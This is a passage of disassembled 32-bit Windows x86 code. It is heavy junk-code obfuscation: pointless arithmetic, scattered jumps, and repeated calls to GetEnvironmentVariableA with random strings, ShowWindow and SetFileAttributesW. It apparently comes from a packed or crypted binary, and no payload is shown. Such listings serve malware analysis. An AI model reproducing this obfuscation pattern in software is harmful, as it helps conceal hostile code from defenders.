or eax, dword [0x40600b]
mov dword [0x406119], 0xfb
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x402fb2
or esi, 0xffffff8f
sbb dword [0x406050], 0xb1
or eax, 0x4a
adc edx, dword [0x40603e]
jmp 0x402a1b
sub bl, byte [0x4060a5]
sub dword [0x40600d], eax
sbb ebx, 0xffffff97
add eax, 0x38
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x403076
add bh, bl
adc byte [0x40619c], ah
adc ah, byte [0x4060b0]
add ecx, esi
sbb dword [0x4060f4], 0x7c
and dword [0x4061c5], 0xa5
jmp 0x404845
sub byte [0x40610a], 0x5d
sbb edi, esi
add ecx, 0xffffff8e
adc eax, dword [0x4060ba]
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4030f3
sub byte [0x4061d2], 0x66
add dword [0x40613b], ebx
add edx, edi
adc ebx, dword [0x406036]
sbb dword [0x406079], ebx
sub edx, ebx
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4030f3
or ah, byte [0x406004]
adc edi, dword [0x4061cc]
or eax, 0xffffffe5
adc dword [0x40601f], 0x98
add ecx, 0x48
xor edi, 0xffffffd6
jmp 0x403be2
sbb eax, 0xffffff87
sbb byte [0x406008], bh
adc al, byte [0x40616b]
add edx, 0xffffffc5
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4031a0
adc bl, byte [0x406137]
add edx, eax
adc dword [0x406142], 0x7d
sub byte [0x4061a4], 0xca
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4031a0
add ecx, 0xffffffb5
add edx, 0xffffffd4
or ecx, dword [0x4061e0]
adc ebx, dword [0x4061c2]
and al, 0xdd
jmp 0x4022d5
add ebx, 0x3e
or dword [0x406131], eax
sub byte [0x4061f3], 0xc3
sub ebx, esi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x403236
or ebx, 0xffffffcc
add ecx, eax
and ecx, 0x65
sbb ebx, eax
and dword [0x40615e], 0x67
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x403236
or eax, dword [0x4061e4]
mov dword [0x406030], 0x7b
add dword [0x4060b8], eax
and esi, 0x50
adc edx, dword [0x406066]
jmp 0x402fad
adc esi, dword [0x4061e6]
adc ecx, dword [0x4061fb]
sub ecx, edi
and byte [0x406045], cl
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4032dc
mov byte [0x4060ca], al
or ah, byte [0x406058]
xor dword [0x406002], 0x77
mov dword [0x40603b], esi
adc ecx, dword [0x40610a]
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x4032dc
sbb dword [0x406157], 0x98
add ecx, esi
or dword [0x40605e], 0x39
or ecx, 0xffffffb6
mov dword [0x406070], esi
jmp 0x403a8e
adc esi, dword [0x40607c]
adc esi, dword [0x40615e]
or edi, dword [section..data]
or byte [0x406022], ah
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x40339f
sub edi, eax
add ecx, ebx
sub ebx, dword [0x40601a]
add dword [0x406172], ebx
adc eax, dword [0x406098]
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40339f
add ah, ah
adc esi, 0x61
adc ah, byte [0x406101]
sub byte [0x4061c4], ah
or esi, 0x40
add ebx, 0x49
jmp 0x402ab8
adc ebx, dword [0x40611a]
sub ebx, dword [0x406029]
mov dword [0x4060c9], ebx
add esi, ebx
adc ecx, dword [0x406150]
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x403449
sbb dword [0x40609c], 0xf5
sub byte [0x406167], 0x12
mov dword [0x4060b1], 0x5d
xor dword [0x40613a], 0xc4
sbb edi, 0xffffff9f
add dword [0x406111], esi
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x403449
mov dword [0x406148], 0x26
adc eax, dword [0x406133]
sbb eax, eax
and dword [0x4061d0], esi
sbb ebx, 0xffffffca
adc eax, dword [0x40618f]
jmp 0x403236
adc esi, dword [0x406151]
add cl, 0x64
adc edi, dword [0x406071]
adc edx, dword [0x406151]
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x405798
and dword [0x4060b6], ebx
mov dword [0x406125], 0xce
adc dword [0x4060b4], 0xd8
add ah, 9
xor dword [0x406045], esi
or dword [0x4061f2], esi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x405798
or bh, byte [0x406088]
adc ecx, dword [0x406067]
sbb ecx, edi
sub dword [0x406108], ebx
or ebx, dword [0x406009]
mov dword [0x406028], esi
jmp 0x402776
adc ebx, dword [0x406025]
add esi, esi
add edx, eax
and esi, 0x65
or dword [0x4060e2], 0x86
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x4035e9
add edx, edi
adc edi, dword [0x4061ca]
sbb dword [0x4060e7], ebx
sbb dword [0x406170], 0xf7
add dword [0x406167], edi
jmp 0x402cf2
or al, 0x2f
sbb esi, 0xffffffc6
and dword [0x406093], 0x9f
add edi, edi
xor edi, eax
mov dword [0x40619e], 0x65
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40365c
sub byte [0x4060cf], 0xad
add ebx, ebx
add edx, 0x47
or dl, 0x48
jmp 0x402e12
or esi, 0xffffffcc
adc esi, edi
add edx, eax
add edx, edi
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4036d2
add ecx, esi
sbb dword [0x4060b5], ecx
adc edi, dword [0x406028]
sbb dword [0x406089], 0xbb
sbb ecx, eax
sbb byte [0x406105], bl
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4036d2
adc eax, dword [0x4061ec]
sub eax, 0x3b
or esi, dword [0x4061db]
adc dword [0x40614f], edi
adc ebx, ebx
sbb byte [0x406024], ah
jmp 0x40339f
add ecx, ebx
or dword [0x4061f8], ecx
add esi, 0xffffffe1
add esi, 0xffffffad
sub ebx, 0xffffff87
mov dword [0x406183], 0x4b
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x4025f1
add ebx, 0xffffff9c
sub eax, edi
add dh, ah
or edx, 0xffffff9f
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4025f1
and dword [0x406018], 0x1b
add dh, bh
sub edx, ebx
sbb edi, ebx
adc esi, 0xffffff81
jmp 0x4010c0
adc ecx, dword [0x406009]
mov dword [0x406100], 0
adc edx, dword [0x40607c]
mov dword [0x4061be], ebx
adc ecx, esi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x403820
adc al, byte [0x4061b8]
add edx, eax
sbb edi, 0xffffff80
mov byte [0x4061be], bh
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x403820
adc ebx, 0xffffff9d
xor dword [0x4060ac], 0x56
mov dword [0x406129], edi
and dword [0x406088], 0xffffff80
add eax, edi
add ecx, ebx
jmp 0x403dbd
add ecx, 9
sbb dword [0x40618e], ebx
sbb dword [0x40606c], 0xb7
xor eax, 0x3f
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4038db
adc eax, dword [0x4061bf]
mov dword [0x40600b], ebx
add ebx, edi
adc dword [0x40619c], eax
sbb dword [0x4060e2], 0xf2
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4038db
add dword [0x40609a], eax
adc ecx, dword [0x4061ad]
add ecx, edi
or dword [0x406035], 0x1a
jmp 0x404394
or esi, dword [0x40612c]
sub dword [0x4060b2], ebx
xor dword [0x4061b3], ebx
add ecx, 0xffffffe9
add edi, 0x36
or edi, dword [0x40607f]
push 5
lea ecx, [0x406233]
push dword [ecx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x403982
adc edx, dword [0x40607f]
add dword [0x4060ea], eax
adc ebx, dword [0x40607e]
sub esi, eax
adc esi, 0xfffffffc
sbb edx, 0x56
jmp 0x402fad
adc eax, dword [0x406182]
add esi, ebx
adc eax, dword [0x40600a]
adc ecx, dword [0x406098]
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x403a08
add dword [0x40617d], eax
adc bh, byte [0x406140]
add dword [0x406158], edi
sub dword [0x4060e3], ebx
add ecx, edi
or edi, dword [0x406081]
jmp 0x40581b
sbb dword [0x406167], 0xf9
sub ebx, 0xffffffc1
adc esi, dword [0x406150]
xor dword [0x40608c], eax
adc ebx, dword [0x406010]
and dword [0x4060cf], 0x9c
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x403a8e
adc dword [0x406032], 0x1e
sub eax, eax
add edx, ebx
and dword [0x40608e], 0xe3
adc ebx, dword [0x4060c3]
or esi, dword [0x406061]
jmp 0x402c84
sbb dword [0x4060d6], 0x8e
and dword [0x406111], 0x84
add dword [0x40619c], esi
sbb dword [0x406051], 0x1a
xor eax, edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x403b1f
adc dword [0x40606d], ebx
sub ah, byte [0x406040]
add dh, ah
add ecx, 0xffffff87
sub eax, 0x4c
adc bh, al
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x403b1f
adc bh, byte [0x4061af]
sub ebx, ebx
add edx, 0xffffff89
and dword [0x4060d0], esi
jmp 0x40243b
add eax, ebx
xor dword [0x40617d], 0x65
adc ecx, dword [0x406100]
add dword [0x406021], edi
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x403be2
sub dword [0x40608a], edi
add ch, bl
add eax, ebx
add ebx, 0xffffffb4
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x403be2
mov dword [0x406016], edi
mov dword [0x406175], 0x13
add edi, 0xffffff81
or dword [0x40609b], 0x40
mov byte [0x40600a], al
and dword [0x4061dc], 0x51
jmp 0x402fad
and dword [0x406007], 0xd5
add edx, 0x7e
adc eax, esi
and dword [0x40612c], edi
adc bl, byte [0x40611e]
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x403c84
adc byte [0x406121], bh
add edx, esi
xor esi, 0x27
or edx, dword [0x40612e]
adc dword [0x406186], eax
or dl, 0x94
jmp 0x40545d
adc dword [0x4061eb], 0x70
adc dword [0x4061d6], 0xcd
sbb dword [0x4061da], 0x65
adc eax, dword [0x40605d]
add edx, 0xfffffffd
xor dword [0x406149], edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x403d00
add edx, eax
mov dword [0x406173], 0x39
sub edi, dword [0x4061ad]
adc ecx, dword [0x4060bd]
or dword [0x4061ec], ecx
mov dword [0x40612f], 0xa1
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x403d00
add ch, ah
sub ebx, edi
xor ecx, 0x78
xor edi, ebx
add edx, eax
jmp 0x4042c7
sbb byte [0x406137], bh
and dword [0x4061ad], ebx
add dword [0x406017], esi
adc dword [0x40600c], 0xbb
xor dword [0x40615f], 0x21
add ecx, 0x68
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x403dbd
adc ecx, dword [0x4060f2]
sub byte [0x40605f], 0x7a
or dword [0x40609e], ebx
sub bl, byte [0x40618a]
or dword [0x40608e], 0x41
add esi, 0x1c
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x403dbd
adc dword [0x406060], 0xcc
mov dword [0x4061eb], ebx
and dword [0x406002], 0x33
add ecx, 0xffffff84
adc ebx, ebx
sbb dword [0x4061da], 0x38
jmp 0x4035e9
add edx, ebx
add edi, 0x65
mov dword [0x4060fc], 0xb1
sbb eax, ebx
sbb dword [0x4061a4], eax
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x403e8a
adc dword [0x4061c7], 0xa1
sbb ebx, 0x1f
adc esi, dword [0x4060f7]
or esi, 0x52
add edx, 0xffffffb3
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x403e8a
adc dword [0x406146], 4
sbb dword [0x406122], esi
or dword [0x406151], esi
xor dword [0x4060cf], esi
and dword [0x4061f3], ebx
adc esi, dword [0x40603d]
jmp 0x4053b4
adc ecx, dword [0x406091]
sub byte [0x406002], 0xf1
sub dword [0x4060b5], edi
adc dword [0x40609e], 0xa0
or dword [0x406045], ebx
adc ecx, 0xffffff97
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401c68
add edx, 0x21
mov dword [0x40618a], 0x6b
adc esi, eax
and dword [0x4060dc], 0xab
sbb dword [0x4061cd], edx
jmp 0x404205
adc eax, dword [0x406063]
or dword [0x4061bf], 0x54
add ecx, 0x2d
xor dword [0x40604c], 0x2b
push 5
lea ecx, [0x406233]
push dword [ecx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x403fcd
adc edx, dword [0x4060fc]
adc dword [0x4060e3], edx
sbb dword [0x4060f3], 0xbf
and dword [0x4060e8], 0xe6
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x403fcd
sub byte [0x40619c], 7
and dword [0x406194], 0x32
sub edi, dword [0x406025]
adc ecx, dword [0x4061dd]
adc ecx, dword [0x4061ad]
jmp 0x40281b
adc esi, dword [0x4061f5]
adc dword [0x406058], 0x32
sbb edi, edi
sub dword [0x4061d7], eax
or edi, dword [0x406104]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x404084
add dword [0x406047], ebx
mov dword [0x4060a3], 0x8e
sbb edi, 0xffffffca
or ebx, dword [0x40615e]
jmp 0x405278
sbb dword [0x406025], 0x36
add al, 0x11
adc al, byte [0x406191]
adc dword [0x4060b0], 0x9f
adc esi, ebx
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x40410b
sub bh, byte [0x4061ef]
sbb edi, edi
adc ebx, 0xffffffc2
adc bl, byte [0x40615b]
jmp 0x402fad
adc esi, edi
adc eax, dword [0x406143]
xor dword [0x406086], 0x2f
xor dword [0x40615a], 0xeb
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x404183
and dword [0x406028], edi
sub byte [0x40616b], 0x49
sub byte [0x4061ac], 0x38
and dword [0x4060a3], 0x86
jmp 0x4026e7
add edx, 4
sub ebx, edx
or esi, dword [0x406199]
sub dword [0x406106], eax
lea ebx, [0x40622f]
push dword [ebx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x404e85
adc al, byte [0x406141]
add edx, eax
sub edi, dword [0x406116]
xor edx, edx
add ecx, ebx
sub ecx, dword [0x406159]
push 5
lea edx, [0x406233]
push dword [edx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x404e85
or esi, dword [0x40611c]
adc ebx, dword [0x40606e]
and ebx, 0x1d
sbb dword [0x40618b], 0xf6
and al, 0xcd
jmp 0x404791
adc ebx, edi
mov dword [0x406015], 0x2b
sub byte [0x406013], 0xc0
sbb esi, 0x3d
adc bl, byte [0x406073]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4042c7
or dword [0x406163], 0x91
sub byte [0x40615b], 0xac
xor dword [0x406126], 0x38
and dword [0x4061b8], edi
mov dword [0x40608f], 0xda
push 5
lea edx, [0x406233]
push dword [edx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4042c7
xor edi, ebx
sbb dword [0x406080], 0xf7
add edx, 0xffffffdf
sub byte [0x40600b], 0x57
sub esi, edx
sbb byte [0x40609a], dh
jmp 0x402eda
add ch, bl
adc dword [0x406120], edi
sub edi, dword [0x4061f1]
add bh, bl
add eax, edi
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x404394
adc eax, dword [0x40607c]
sub byte [0x406072], 0x17
add edx, 0x17
adc dword [0x40608a], ebx
adc edi, ebx
or esi, 0x18
jmp 0x404ad4
add edx, 0xffffffa8
xor dword [0x406175], 0x49
add edi, 0xffffffe9
add ebx, esi
adc esi, dword [0x40609a]
xor dword [0x4060a4], 0xb3
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x4043fc
and bl, 0x2a
sub ebx, dword [0x406133]
sub ah, byte [0x40618a]
add ecx, esi
mov dword [0x406195], edi
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x4043fc
sub edi, ebx
sbb eax, edi
add cl, bh
adc dword [0x4061e9], 0xac
jmp 0x40551a
add ebx, 0x2c
sub byte [0x4060c9], 0xbe
adc eax, dword [0x40604a]
add byte [0x4061f4], al
adc esi, dword [0x40617f]
or bh, 0x34
push 5
lea eax, [0x406233]
push dword [eax]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4044bc
mov dword [0x40609e], esi
sbb dword [0x406068], ebx
and dword [0x406137], ebx
add ecx, 0x66
or edi, 0x77
add dword [0x4060b2], ebx
jmp 0x401a78
sub bh, byte [0x406054]
adc dword [0x4060a6], edi
and ebx, 0x65
adc edx, dword [0x4061df]
adc esi, dword [0x406104]
or edi, dword [0x4060ed]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x404542
adc dword [0x406071], 0x85
sbb byte [0x406119], ah
add ecx, 0x29
add edx, 0x75
sub edx, 0xffffff8e
adc bh, byte [0x40619c]
jmp 0x4050a3
sbb eax, 0x1b
add ebx, 0xffffff98
adc ecx, dword [0x406074]
sbb dword [0x4060ea], ecx
sub dword [0x4061a2], ebx
push 5
lea edi, [0x406233]
push dword [edi]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x4045c7
sub eax, dword [0x40603f]
sub dword [0x406125], edi
add ecx, eax
xor dword [0x406108], edi
sub ebx, dword [0x406066]
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x4045c7
adc dword [0x406041], 0x24
adc dword [0x40614c], 0
add ecx, ebx
or dword [0x40605c], eax
jmp 0x40239c
and ebx, 0xffffffe2
sbb dword [0x406176], 0xc6
and dword [0x406137], 0x73
sub dword [0x406196], ebx
xor esi, edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40467b
add dl, 0xf6
or bh, byte [0x406045]
add esi, edi
sub edx, edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40467b
adc esi, dword [0x40606b]
or ebx, 0xffffffb0
or dword [0x4060ac], 0x4c
adc ecx, dword [0x4060c2]
sbb dword [0x406026], 0xfd
sbb esi, ecx
jmp 0x4048e9
add dl, bl
sbb edi, 0x39
add ecx, 0x4c
xor dword [0x40603f], 0xbb
xor eax, 0xffffff82
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40471e
add byte [0x4061f6], bl
add eax, 0xffffffde
xor bh, 0x80
sbb dword [0x4060d6], 0x4e
jmp 0x4019d6
adc edi, dword [0x4061a0]
add ecx, 0xffffff8d
add dh, bh
adc ebx, dword [0x406124]
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x40467b
xor esi, 0xffffffaf
or ebx, dword [0x4060c2]
adc ebx, edi
add al, ah
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40467b
add edx, ebx
adc ecx, dword [0x40611a]
xor ebx, 0xffffff90
adc dh, byte [0x40604e]
sbb dword [0x4060bb], 0xea
jmp 0x403521
mov dword [0x4060b4], edi
add ecx, 0xffffffef
adc ecx, dword [0x406112]
add esi, 0xffffffba
adc edi, edi
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x404845
adc ebx, 0xc
add dl, 0xd8
xor dword [0x40600f], edx
sbb dword [0x4061bd], eax
adc ecx, dword [0x4060d4]
mov dword [0x4060eb], edx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x404845
mov dword [0x40612c], 0xb3
xor dword [0x406195], eax
or dword [0x4061f1], 0xf6
and ebx, 0x33
or dword [0x406182], ebx
sbb edi, ebx
jmp 0x4045c7
add eax, esi
add edx, eax
and dword [0x4061bf], 0x33
adc ebx, eax
and byte [0x40602f], bl
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x4048e9
xor dword [0x4061a4], eax
sbb esi, edi
adc esi, dword [0x4061a9]
add edx, edi
and dword [0x406133], edi
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4048e9
and edi, 0xb
adc bh, byte [0x406040]
sbb dword [0x406090], edi
adc ebx, 0x39
jmp 0x405720
xor eax, 0xffffffc8
add ecx, 0xffffffad
adc dword [0x4061c3], 0x1a
add edx, edi
xor edi, ecx
xor dword [0x406152], 0xb6
lea esi, [0x40622f]
push dword [esi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x404986
add eax, ebx
adc edi, dword [0x406045]
adc dword [0x4061c7], 0xde
xor dword [0x406101], 0x84
adc eax, dword [0x406007]
adc ah, byte [0x406056]
jmp 0x401784
and dword [0x4061a5], 0xad
mov dword [0x406054], 0xd8
add edx, eax
add ecx, 0xffffff8b
adc esi, ecx
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x404a1b
sbb al, bl
add edi, edi
adc edi, dword [0x4061f7]
mov dword [0x406070], edi
adc eax, dword [0x4061e3]
lea edi, [0x40622f]
push dword [edi]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x404a1b
add edx, edi
add ebx, ebx
sbb eax, edi
or dword [0x4060fc], 0xeb
sub dl, byte [0x406182]
mov dword [0x406135], edx
jmp 0x4031a0
add ch, bl
sbb dword [0x406198], 0xa3
sbb dword [0x4061b8], 0x1f
add dword [0x40607d], esi
adc eax, dword [0x406092]
add ebx, ecx
push 5
lea ecx, [0x406233]
push dword [ecx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x404ad4
xor edi, eax
sbb al, 1
mov dword [0x40607a], ebx
sub eax, dword [0x406016]
jmp 0x402fad
or dword [0x40601d], 0xd0
add byte [0x406190], ah
adc ebx, dword [0x4061d2]
add ecx, 0xffffffaa
push 5
lea ebx, [0x406233]
push dword [ebx]
call dword [sym.imp.user32.dll_ShowWindow]
test eax, eax
jne 0x404b45
adc bl, 0x19
adc edx, dword [0x40607e]
adc esi, dword [0x4061ad]
or dword [0x4061a8], eax
sub dword [0x40602d], eax
jmp 0x4030f3
adc dword [0x4060f7], eax
adc esi, 0x67
sub dword [0x406114], edi
sbb dword [0x40612f], 0xf9
adc dword [0x4061c3], eax
add ebx, 0xfffffffa
push 5
lea ecx, [0x406233]
push dword [ecx]
call dword [sym.imp.user32.dll_ShowWindow]
cmp eax, 0
jne 0x404bce
add ebx, 0x55
add cl, 0x84
xor dword [0x4060d4], ecx
add ecx, eax
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x404bce
and dword [0x406190], 0xfe
xor esi, ebx
adc edx, dword [0x406114]
add bl, 0xa7
mov dword [0x4060bb], esi
jmp 0x40471e
adc dword [0x4060bb], ebx
adc ebx, dword [0x406111]
adc dword [0x406168], 0x2e
sub ebx, dword [0x4061ab]
lea ecx, [0x40622f]
push dword [ecx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp eax, 0
jne 0x404c83
sub edi, dword [0x40615f]
or edi, 0xffffff83
or dword [0x406091], 0x55
adc eax, 0x2a
add ecx, eax
lea edx, [0x40622f]
push dword [edx]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x404c83
adc dword [0x40617f], 0x17
adc ecx, dword [0x406103]
or esi, dword [0x406006]
sbb edi, 0x74
jmp 0x40410b
sbb dword [0x406107], esi
sbb dword [0x4060a3], 0x44
adc esi, dword [0x4060c4]
sbb dword [0x406170], 0x1d
adc byte [0x4060e8], bl
adc edi, ebx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x404d1b
sub dword [0x4060ab], esi
mov dword [0x40608e], 0x6e
adc esi, ebx
add dword [0x406038], eax
mov dword [0x40607c], 0x59
and ebx, 0xffffffec
lea eax, [0x40622f]
push dword [eax]
push str.JmigggiN
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x404d1b
add edx, edi
sub edi, eax
adc esi, 0xffffffbe
add cl, bl
sbb dword [0x406090], 0x35
sbb edx, ebx
jmp 0x403982
adc esi, ebx
or ah, byte [0x4060cc]
and dword [0x40605b], edi
adc ecx, dword [0x406102]
mov dword [0x4060b8], ecx
push 0x11
push str.PpkzLZqyDJrFvgVSm
push str.FSQWdJVj
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401ed5
